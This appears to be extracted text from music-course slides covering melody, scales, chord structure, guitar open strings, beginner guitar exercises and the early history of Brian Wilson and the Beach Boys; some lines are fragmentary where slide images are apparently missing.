* A sequence of single notes arranged in time; generally what you sing is a melody.
* Music notation arranges melody notes horizontally from left to right.

Scales

* A sequence of different notes arranged in ascending and/or descending order
* Most Western European scales are seven different notes arranged a half or whole step apart.
* Most melodies are derived from scales; therefore they are the ABC’s of music.

Scales

Harmony

* An arrangement of two or more notes that occur simultaneously
* Generally referred to as chords or harmonies, we are used to hearing the piano or guitar create two or more note sonorities.
* Music notation indicates chords (or harmonies) by stacking notes vertically.
* Most conventional chords are made up of the first, third, and fifth notes of a scale, thus each note in a chord can be referred to as the root (first note in the scale), third and fifth; and if the chord contains more than three notes (often the case in jazz), the designation can be expanded to include the seventh, ninth, eleventh, and thirteenth. These harmonies are called seventh chords, ninth chords, and so on…

These need to be memorized. From the lowest pitch to the highest pitch:

E, A, D, G, B and E. Note that the 6th string is called ‘low E’ and the

1st string is called ‘high E’.

Below is where the open strings are written on the

staff!
Can also use index and middle. Easier to finger but both should be played.

For the D or D7 Chord

At first don’t play the chords in brackets. Later on you will be able to add those

chords into the piece.

This song is a straight blues. No shuffle!! Play it with the Chuck Berry

Brian Wilson and the Beach Boys

* Formed in 1961 by Brian Wilson, his two brothers, a cousin, and a friend in Hawthorne, California
* Brian Wilson was the guiding spirit of the band during the group’s first decade.
* The defining model of the Beach Boys:
o Demonstrate mastery of early rock ’n’ roll
o Create original material based on and extending those styles
o Branch out beyond the forms, sounds, and lyrics of traditional rock ’n’ roll to create something truly unique

Brian Wilson and the Beach Boys

* The songs of the Beach Boys enshrined Wilson’s somewhat mythical version of California in the consciousness of young Americans.
o “Surfin’ Safari”
o “Surfer Girl”
o “The Warmth of the Sun”
o “California Girls”
* Wilson’s vision was inclusive even though it remained place specific.

Brian Wilson’s Journey from Imitation, through Emulation, to Innovation

* The Beach Boys’ first Top 10 hit, the famous “Surfin’ USA” (Number Three, 1963), simply borrows the music of Chuck Berry’s 1958 hit “Sweet Little Sixteen” with new words.
* The Beach Boys’ next hit, “Surfer Girl” (Number Seven, 1963), reinvigorated the sound and spirit of the doo-wop ballad by infusing it with California beach content.
* “Fun, Fun, Fun”
